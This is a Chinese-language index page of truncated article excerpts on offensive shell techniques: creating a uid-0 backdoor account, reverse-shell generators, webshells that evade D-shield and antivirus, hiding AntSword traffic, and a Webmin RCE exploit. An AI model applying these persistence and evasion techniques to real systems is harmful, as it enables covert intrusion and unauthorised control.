shell

linux权限维持 做渗透测试中维护权限是最常见的需求 添加账号 一般在具有root权限时可以使用以下2种方式添加root权限用户 1.通过useradd，后面账号backdoor/123456 useradd -u 0 -o -g root -G r...

Shellerator Shellerator是一个简单的命令行工具，旨在帮助渗透测试人员快速生成多种语言（Bash，Powershell，Java，Python等）的单行反弹Shell。该项目的灵感来自Print-My-Shell。我只是重写了它，并添加了...

HTTP异步反向Shell 有很多方法可以创建反向shell，以便能够通过防火墙远程控制计算机。确实，传出连接并不总是被过滤。 但是，安全软件和硬件（IPS，IDS，Proxy，AV，EDR等）功能越来越强大，可以检测到这...

回调函数绕过D盾查杀 常见的PHPshell回调函数如下： call_user_func_array() call_user_func() array_udiff() array_filter() array_walk() array_map() array_reduce() array_walk_recursive() registre...

AntSword User-Agent 很多人用蚁剑其实都是默认配置就用了，所以默认就带有User-Agent: antSword/v2.0，日志溯源一目了然，WAF更好识别。不过蚁剑在添加shell的时候也提供了自定义的header头功能，但是用起来...

disable_functions 为了安全，运维人员会禁用PHP的一些“危险”函数，例如： dl,eval,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv...

revshellgen反弹shell生成器 独立的python shell生成脚本，用于轻松生成反弹shell，并自动化无聊的东西，如URL编码命令和设置监听器等。 revshellgen反弹shell生成器 revshellgen安装与使用 安装 ...

oracleShell 一款简约实用的Oracle数据库命令执行工具，基于java开发，所以是跨平台的，值得收藏。它有命令执行/文件管理/反弹shell的功能，所以你也可以把它当做shell管理工具来使用。 截图 ...

EDB-ID: 47230 CVE-2019-15107 本日由 Vendor 在@defcon AppSec Village 发布，修复了这个漏洞。 Webmin 必须更新到1.930版本。Exploit-DB LinkCVE-Mitre LinkDownload defcon_webmin_unauth_rce.rb (Meta...

免杀PHP一句话shell，利用随机异或免杀D盾，免杀安全狗护卫神等 <?php class VONE { function HALB() { $rlf = 'B' ^ "\x23"; $fzq = 'D' ^ "\x37"; $fgu = 'h' ^ "\x1b"; $sbe = 'R' ^ "\x37"; ...